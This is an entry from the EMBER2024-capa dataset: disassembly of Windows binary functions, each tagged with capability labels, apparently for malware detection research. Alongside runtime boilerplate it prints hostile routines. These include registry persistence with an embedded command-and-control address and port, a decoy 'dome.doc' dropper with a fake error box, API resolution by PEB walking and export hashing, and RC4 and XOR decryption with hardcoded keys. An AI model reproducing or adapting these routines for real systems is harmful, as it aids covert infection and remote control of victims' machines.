joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6026e0
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x0061f040]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor r14d, r14d
mov dword [rsp + 0x28], 0x10
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
xorps xmm0, xmm0
test eax, eax
jne 0x60274e
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], r14
lea r8d, [r14 + 0xa]
lea rdx, str.Error404
mov rcx, rdi
call fcn.00601ab0
jmp 0x602817
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
lea rax, [rsp + 0x50]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x602770
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.00601ab0
nop
lea rcx, [rsp + 0x30]
mov rsi, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x48]
cmp rbp, 0xf
cmova rcx, rsi
mov r8, qword [rsp + 0x40]
test r8, r8
jne 0x60283c
lea rdx, [0x0061bb1b]
call fcn.00613010
test eax, eax
jne 0x60283c
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], r14
lea r8d, [rax + 0xa]
lea rdx, str.Error400
mov rcx, rdi
call fcn.00601ab0
nop
cmp rbp, 0xf
jbe 0x602817
lea rdx, [rbp + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x60280f
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x602899
mov rcx, rsi
call fcn.00603a68
mov rax, rdi
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.00603530
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], r14
lea rax, [rsp + 0x50]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x602850
mov r8, rbx
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.00601ab0
nop
cmp rbp, 0xf
jbe 0x602817
lea rdx, [rbp + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x60280f
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x60280f
call fcn.00609ebc
int3

Function at 0x603dcc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x603e16
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x603e16
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x603e16
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x603e16
cmp dword [rcx + 0x84], 0xe
jbe 0x603e16
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x603e18
xor al, al
add rsp, 0x28
ret

Function at 0x60ab34
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x60a930
Function at 0x60d204
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x60d28b
mov rsi, rbx
cmp word [rax], bp
je 0x60d24a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x60d234
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x60d230
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.0060bc20
mov rdi, rax
test rax, rax
je 0x60d278
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.00612990
mov rbp, rdi
xor ecx, ecx
call fcn.0060bbe4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x6122f0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x612318
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x612318
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400029a0
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x28], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov esi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400029d4
xor eax, eax
cmp edx, edx
cmovne eax, edx
jmp 0x140002b9e
mov rax, qword [rcx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x140002a0e
mov rdx, qword [rbx + 0x58]
movsxd r8, dword [rdx]
lea rax, [rcx + r8]
cmp rcx, rax
jae 0x140002a0e
lea eax, [r8 - 1]
mov dword [rdx], eax
mov rcx, qword [rbx + 0x40]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov byte [rdx], sil
mov eax, esi
jmp 0x140002b9e
cmp qword [rbx + 0x80], 0
jne 0x140002a20
or eax, 0xffffffff
jmp 0x140002b9e
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140002a4d
mov rdx, qword [rbx + 0x90]
mov rcx, qword [rbx + 0x88]
mov qword [r8], rcx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp qword [rbx + 0x68], 0
jne 0x140002a71
movsx ecx, sil
mov rdx, qword [rbx + 0x80]
call fcn.14004f6bc
or ebx, 0xffffffff
cmp eax, ebx
cmovne ebx, esi
jmp 0x140002b9c
mov byte [rbp - 0x30], sil
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rbp - 0x20]
call fcn.140002160
nop
mov r10, qword [rbp - 0x20]
mov r9, qword [rbp - 8]
nop
lea rdx, [rbp - 0x20]
cmp r9, 0x10
cmovae rdx, r10
lea r8, [rbp - 0x20]
cmovae r8, r10
mov rcx, qword [rbx + 0x68]
mov r10, qword [rcx]
add rdx, qword [rbp - 0x10]
lea rax, [rbp + 0x30]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], r8
lea rax, [rbp + 0x38]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x2f]
lea r8, [rbp - 0x30]
lea rdx, [rbx + 0x74]
call qword [r10 + 0x38]
test eax, eax
js 0x140002b8b
cmp eax, 1
jg 0x140002b6c
lea rax, [rbp - 0x20]
mov r10, qword [rbp - 0x20]
mov r9, qword [rbp - 8]
cmp r9, 0x10
cmovae rax, r10
mov rdi, qword [rbp + 0x30]
sub rdi, rax
je 0x140002b36
lea rcx, [rbp - 0x20]
cmp r9, 0x10
cmovae rcx, r10
mov r9, qword [rbx + 0x80]
mov r8, rdi
mov edx, 1
call fcn.14005240c
cmp rdi, rax
jne 0x140002b8b
mov r9, qword [rbp - 8]
mov r10, qword [rbp - 0x20]
mov byte [rbx + 0x71], 1
lea rax, [rbp - 0x30]
cmp qword [rbp + 0x38], rax
jne 0x140002b68
test rdi, rdi
jne 0x140002a90
cmp qword [rbp - 0x10], 0x20
jae 0x140002b8b
xor r8d, r8d
lea edx, [rdi + 8]
lea rcx, [rbp - 0x20]
call fcn.140003640
jmp 0x140002a86
mov ebx, esi
jmp 0x140002b8e
cmp eax, 3
jne 0x140002b8b
movsx ecx, byte [rbp - 0x30]
mov rdx, qword [rbx + 0x80]
call fcn.14004f6bc
or ebx, 0xffffffff
cmp eax, ebx
cmovne ebx, esi
jmp 0x140002b8e
or ebx, 0xffffffff
xor r8d, r8d
mov dl, 1
lea rcx, [rbp - 0x20]
call fcn.140003240
mov eax, ebx
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140003a20
Capabilities:
Write file on windows

Disassembly:
push rdi
sub rsp, 0x60
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], rsi
mov rdi, rcx
cmp qword [rcx + 0x68], 0
je 0x140003b6a
cmp byte [rcx + 0x71], 0
je 0x140003b6a
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
jne 0x140003a69
xor al, al
jmp 0x140003b6c
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rsp + 0x38]
call fcn.140002160
nop
mov r10, qword [rsp + 0x38]
mov r9, qword [rsp + 0x50]
nop word [rax + rax]
lea rdx, [rsp + 0x38]
cmp r9, 0x10
cmovae rdx, r10
lea r8, [rsp + 0x38]
cmovae r8, r10
mov rcx, qword [rdi + 0x68]
mov r10, qword [rcx]
mov r9, qword [rsp + 0x48]
add r9, rdx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x74]
call qword [r10 + 0x40]
test eax, eax
je 0x140003ad2
sub eax, 1
jne 0x140003b4b
jmp 0x140003ad6
mov byte [rdi + 0x71], 0
lea rax, [rsp + 0x38]
mov r10, qword [rsp + 0x38]
mov r9, qword [rsp + 0x50]
cmp r9, 0x10
cmovae rax, r10
mov rbx, qword [rsp + 0x70]
sub rbx, rax
je 0x140003b27
lea rcx, [rsp + 0x38]
cmp r9, 0x10
cmovae rcx, r10
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
call fcn.14005240c
cmp rbx, rax
jne 0x140003b50
mov r9, qword [rsp + 0x50]
mov r10, qword [rsp + 0x38]
cmp byte [rdi + 0x71], 0
je 0x140003b54
test rbx, rbx
jne 0x140003a90
xor r8d, r8d
lea edx, [rbx + 8]
lea rcx, [rsp + 0x38]
call fcn.140003640
jmp 0x140003a7b
sub eax, 2
je 0x140003b54
xor bl, bl
jmp 0x140003b56
mov bl, 1
xor r8d, r8d
mov dl, 1
lea rcx, [rsp + 0x38]
call fcn.140003240
movzx eax, bl
jmp 0x140003b6c
mov al, 1
mov rbx, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
Function at 0x140048c00
Capabilities:
Delete registry value
Set registry value

Disassembly:
sub rsp, 0x168
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x104
call fcn.14004e570
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, byte [0x140113c98]
lea rdx, str.Console
movsd xmm0, qword [str.SelfPath]
mov r9d, 0x20006
mov byte [rsp + 0x48], al
xor r8d, r8d
movzx eax, word [0x140113cf8]
mov rcx, 0xffffffff80000001
mov word [rsp + 0x38], ax
movzx eax, byte [0x140113cfa]
mov byte [rsp + 0x3a], al
lea rax, [rsp + 0x170]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [str.IpDateInfo]
mov qword [rsp + 0x20], rax
movsd qword [rsp + 0x30], xmm0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140048d3f
mov rcx, qword [rsp + 0x170]
lea rdx, str.IpDate
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x170]
lea rdx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x170]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], 0x104
lea rdx, [rsp + 0x40]
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.i:154.91.226.158p:5689
or rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140048d00
add eax, eax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov r9d, 3
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x168
ret
Function at 0x140048d60
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
sub rsp, 0x3a8
mov qword [rsp + 0x60], 0xfffffffffffffffe
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x180]
call fcn.14004e570
lea rdx, [rsp + 0x180]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x140048ee6
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x70]
call fcn.14004e570
lea r9, str.dome.doc
lea r8, [rsp + 0x180]
lea rdx, str._s_s
lea rcx, [rsp + 0x70]
call fcn.140049680
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.140003240
cmp byte [rsp + 0x70], 0
jne 0x140048e04
xor r8d, r8d
jmp 0x140048e1a
lea rax, [rsp + 0x70]
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140048e10
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x40]
call fcn.140003470
nop
lea rcx, [rsp + 0x40]
call fcn.140002020
test al, al
je 0x140048e43
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x140048ed7
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x290]
call fcn.14004e570
lea r8, [rsp + 0x290]
xor edx, edx
lea rcx, [rsp + 0x70]
call qword [sym.imp.SHELL32.dll_FindExecutableA]
cmp rax, 0x20
jbe 0x140048ebd
mov edx, 5
lea rcx, [rsp + 0x290]
call qword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x140048ed7
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Open_The_Document_Fail
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
xor r8d, r8d
mov dl, 1
lea rcx, [rsp + 0x40]
call fcn.140003240
add rsp, 0x3a8
ret
Function at 0x140048ef0
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r15
sub rsp, 8
mov rax, qword gs:[0x30]
mov r13d, ecx
xor ebx, ebx
xor edi, edi
mov rdx, qword [rax + 0x60]
mov rax, qword [rdx + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx]
mov rdx, qword [rax]
mov rsi, qword [rdx + 0x30]
movsxd rax, dword [rsi + 0x3c]
mov edx, dword [rax + rsi + 0x88]
add rdx, rsi
mov ecx, dword [rdx + 0x14]
mov r15d, dword [rdx + 0x1c]
mov eax, dword [rdx + 0x20]
add r15, rsi
mov r12d, dword [rdx + 0x24]
add rax, rsi
mov r8d, dword [rdx + 0x18]
add r12, rsi
mov dword [rsp + 0x48], r8d
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
test rcx, rcx
je 0x14004900a
mov qword [rsp + 0x40], rbp
movzx ebp, word [0x14009799c]
mov qword [rsp], r14
cmp dword [r15 + rdi*4], 0
je 0x140048ff5
xor r9d, r9d
mov r14d, r8d
test r8d, r8d
je 0x140048ff5
nop word [rax + rax]
movzx r11d, word [r12 + r9*2]
cmp r11, rdi
jne 0x140048fe3
mov r8d, dword [rax + r9*4]
xor eax, eax
add r8, rsi
movzx r10d, byte [r8]
test r10b, r10b
je 0x140048fd2
nop dword [rax]
mov edx, eax
lea r8, [r8 + 1]
mov ecx, ebp
shr edx, cl
mov ecx, eax
shl ecx, 0x19
mov eax, edx
or eax, ecx
movsx ecx, r10b
movzx r10d, byte [r8]
add eax, ecx
test r10b, r10b
jne 0x140048fb0
cmp eax, r13d
mov rax, qword [rsp + 0x50]
jne 0x140048fe3
mov ebx, dword [r15 + r11*4]
add rbx, rsi
inc r9
cmp r9, r14
jb 0x140048f90
mov rcx, qword [rsp + 0x58]
mov r8d, dword [rsp + 0x48]
inc rdi
cmp rdi, rcx
jb 0x140048f75
mov r14, qword [rsp]
mov rbp, qword [rsp + 0x40]
mov rax, rbx
add rsp, 8
pop r15
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140049270
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x430
cmp dword [0x140129c74], 3
mov r14d, dword [0x140129c5c]
mov rbp, qword [0x140129c78]
mov ecx, r14d
jne 0x1400493e9
mov qword [rax + 8], rbx
mov ebx, r14d
mov qword [rax + 0x10], rsi
call fcn.14004b844
xor edi, edi
mov rsi, rax
test rax, rax
je 0x1400492ce
mov r8d, ebx
xor edx, edx
mov rcx, rax
call fcn.14004e570
mov byte [rsi], dil
jmp 0x1400492d1
mov rsi, rdi
lea eax, [r14 - 1]
mov rcx, rdi
movsxd r8, eax
test eax, eax
js 0x140049302
lea rdx, [r8 + rsi]
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx + rbp]
inc rcx
mov byte [rdx], al
lea rdx, [rdx - 1]
cmp rcx, r8
jle 0x1400492f0
test r8, r8
js 0x140049330
mov rcx, rbp
lea rdx, [r8 + 1]
sub rsi, rbp
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsi + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140049320
mov rsi, qword [rsp + 0x448]
mov rcx, rdi
test r14d, r14d
je 0x1400493ad
cmp rbx, 0x20
jb 0x140049389
movdqa xmm2, xmmword [str.uuuuuuuuuuuuuuuu_]
mov rax, rbx
and eax, 0x1f
mov rdx, rbx
sub rdx, rax
lea rax, [rbp + 0x10]
nop
movdqu xmm0, xmmword [rax - 0x10]
add rcx, 0x20
lea rax, [rax + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm1, xmmword [rax - 0x20]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x20], xmm1
cmp rcx, rdx
jb 0x140049360
cmp rcx, rbx
jae 0x1400493ad
lea rax, [rcx + rbp]
sub rbx, rcx
nop word [rax + rax]
xor byte [rax], 0x75
lea rax, [rax + 1]
sub rbx, 1
jne 0x1400493a0
lea rcx, str.jason
mov qword [rsp + 0x420], rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8d, eax
lea rcx, [rsp + 0x20]
call fcn.1400496e0
mov r8d, r14d
lea rcx, [rsp + 0x20]
mov rdx, rbp
call fcn.1400497c0
mov rbx, qword [rsp + 0x440]
jmp 0x14004945d
xor edi, edi
test r14d, r14d
je 0x14004945d
cmp rcx, 0x20
jb 0x140049439
movdqa xmm2, xmmword [str.uuuuuuuuuuuuuuuu_]
mov rax, rcx
and eax, 0x1f
mov rdx, rcx
sub rdx, rax
lea rax, [rbp + 0x10]
nop
movdqu xmm0, xmmword [rax - 0x10]
add rdi, 0x20
lea rax, [rax + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm1, xmmword [rax - 0x20]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x20], xmm1
cmp rdi, rdx
jb 0x140049410
cmp rdi, rcx
jae 0x14004945d
lea rax, [rdi + rbp]
sub rcx, rdi
nop word [rax + rax]
xor byte [rax], 0x75
lea rax, [rax + 1]
sub rcx, 1
jne 0x140049450
lea r11, [rsp + 0x430]
mov rbp, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140049480
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x430
xor ebx, ebx
mov r14d, edx
cmp dword [0x140129c74], 3
mov rdi, rcx
jne 0x1400495e2
lea rcx, str.jason
mov qword [rax + 8], rbp
mov qword [rax - 0x18], rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8d, eax
lea rcx, [rsp + 0x20]
call fcn.1400496e0
mov r8d, r14d
lea rcx, [rsp + 0x20]
mov rdx, rdi
call fcn.1400497c0
mov edx, ebx
test r14d, r14d
je 0x14004955d
cmp r14, 0x20
jb 0x140049539
movdqa xmm2, xmmword [str.uuuuuuuuuuuuuuuu_]
mov eax, r14d
and eax, 0x1f
mov ecx, r14d
sub rcx, rax
lea rax, [rdi + 0x10]
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add rdx, 0x20
lea rax, [rax + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm1, xmmword [rax - 0x20]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, rcx
jb 0x140049510
cmp rdx, r14
jae 0x14004955d
mov rcx, r14
lea rax, [rdx + rdi]
sub rcx, rdx
nop dword [rax + rax]
xor byte [rax], 0x75
lea rax, [rax + 1]
sub rcx, 1
jne 0x140049550
mov rcx, r14
call fcn.14004b844
mov rsi, rax
test rax, rax
je 0x14004957e
mov r8, r14
xor edx, edx
mov rcx, rax
call fcn.14004e570
mov byte [rsi], bl
jmp 0x140049581
mov rsi, rbx
mov rbp, qword [rsp + 0x440]
lea eax, [r14 - 1]
movsxd rdx, eax
test eax, eax
js 0x1400495b2
lea rcx, [rdx + rsi]
nop dword [rax + rax]
movzx eax, byte [rbx + rdi]
inc rbx
mov byte [rcx], al
lea rcx, [rcx - 1]
cmp rbx, rdx
jle 0x1400495a0
test rdx, rdx
js 0x14004965d
sub rsi, rdi
lea rcx, [rdx + 1]
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsi + rdi]
mov byte [rdi], al
lea rdi, [rdi + 1]
sub rcx, 1
jne 0x1400495d0
jmp 0x14004965d
mov rcx, r14
test edx, edx
je 0x14004965d
cmp rcx, 0x20
jb 0x140049639
movdqa xmm2, xmmword [str.uuuuuuuuuuuuuuuu_]
mov rax, rcx
and eax, 0x1f
mov rdx, rcx
sub rdx, rax
lea rax, [rdi + 0x10]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add rbx, 0x20
lea rax, [rax + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm1, xmmword [rax - 0x20]
pxor xmm1, xmm2
movdqu xmmword [rax - 0x20], xmm1
cmp rbx, rdx
jb 0x140049610
cmp rbx, rcx
jae 0x14004965d
lea rax, [rbx + rdi]
sub rcx, rbx
nop word [rax + rax]
xor byte [rax], 0x75
lea rax, [rax + 1]
sub rcx, 1
jne 0x140049650
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x1400496e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push rbx
mov ebx, r8d
mov r11, rcx
test r8d, r8d
je 0x1400497b0
movdqa xmm1, xmmword [0x140121960]
xor r9d, r9d
mov edx, r9d
mov qword [rsp + 0x10], rdi
mov r10, rcx
nop word [rax + rax]
movd xmm0, edx
lea eax, [rdx + 4]
pshufd xmm0, xmm0, 0
lea r10, [r10 + 0x20]
paddd xmm0, xmm1
add edx, 8
movdqu xmmword [r10 - 0x20], xmm0
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movdqu xmmword [r10 - 0x10], xmm0
cmp edx, 0x100
jl 0x140049710
mov r10d, r9d
lea rdi, str.jason
mov r8, rcx
nop word [rax + rax]
xor edx, edx
mov eax, r10d
div ebx
movzx eax, byte [rdx + rdi]
add eax, dword [r8]
add r9d, eax
and r9d, 0x800000ff
jge 0x140049787
dec r9d
or r9d, 0xffffff00
inc r9d
movzx edx, byte [r8]
inc r10d
movsxd rax, r9d
lea rcx, [r11 + rax*4]
mov eax, dword [r11 + rax*4]
mov dword [r8], eax
add r8, 4
mov dword [rcx], edx
cmp r10d, 0x100
jl 0x140049760
mov rdi, qword [rsp + 0x10]
pop rbx
ret

Function at 0x1400497c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r10, rdx
mov r9, rcx
test r8d, r8d
je 0x140049881
mov r11d, r8d
nop dword [rax]
nop word [rax + rax]
mov eax, dword [r9 + 0x400]
inc eax
and eax, 0x800000ff
jge 0x1400497f9
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
mov dword [r9 + 0x400], eax
mov eax, dword [r9 + rcx*4]
add eax, dword [r9 + 0x404]
lea r8, [r9 + rcx*4]
and eax, 0x800000ff
jge 0x140049822
dec eax
or eax, 0xffffff00
inc eax
mov dword [r9 + 0x404], eax
movzx edx, byte [r8]
cdqe
mov ecx, dword [r9 + rax*4]
mov dword [r8], ecx
movsxd rax, dword [r9 + 0x404]
mov dword [r9 + rax*4], edx
movsxd rax, dword [r9 + 0x404]
movsxd rcx, dword [r9 + 0x400]
mov edx, dword [r9 + rax*4]
add edx, dword [r9 + rcx*4]
and edx, 0x800000ff
jge 0x140049869
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
movzx ecx, byte [r9 + rax*4]
xor byte [r10], cl
inc r10
sub r11, 1
jne 0x1400497e0
ret

Function at 0x14004b6bc
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x14004b74d
movsxd rax, dword [0x14000003c]
lea rdx, [0x140000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x14004b74d
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004b74d
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x14004b731
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x14004b72b
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x14004b733
add rdx, 0x28
jmp 0x14004b710
xor edx, edx
test rdx, rdx
jne 0x14004b73c
xor al, al
jmp 0x14004b753
test dword [rdx + 0x24], 0x80000000
je 0x14004b749
xor al, al
jmp 0x14004b753
mov al, 1
jmp 0x14004b753
xor al, al
jmp 0x14004b753
add rsp, 0x18
ret
Function at 0x1400545c8
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14005439c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14005439c
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14005439c
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14005439c
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14005439c
cmp dword [rcx + 0x84], 0xe
jbe 0x14005439c
cmp dword [rcx + 0xf8], esi
je 0x14005439c
mov ecx, r14d
call fcn.1400544e4
mov ecx, 2
call fcn.140052e3c
nop
cmp byte [0x140129340], 0
jne 0x140054466
mov r15d, 1
mov eax, r15d
xchg dword [0x140129330], eax
test ebx, ebx
jne 0x14005440f
mov rdi, qword [0x1401271f0]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140129338]
cmp rcx, rax
je 0x140054406
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140002d10]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140129368]
jmp 0x14005441b
cmp ebx, r15d
jne 0x140054421
lea rcx, [0x140129380]
call fcn.140054d08
nop
test ebx, ebx
jne 0x140054438
lea rdx, [0x140068468]
lea rcx, [0x140068448]
call fcn.140055390
lea rdx, [0x140068478]
lea rcx, [0x140068470]
call fcn.140055390
movzx eax, byte [0x140129340]
test esi, esi
cmove eax, r15d
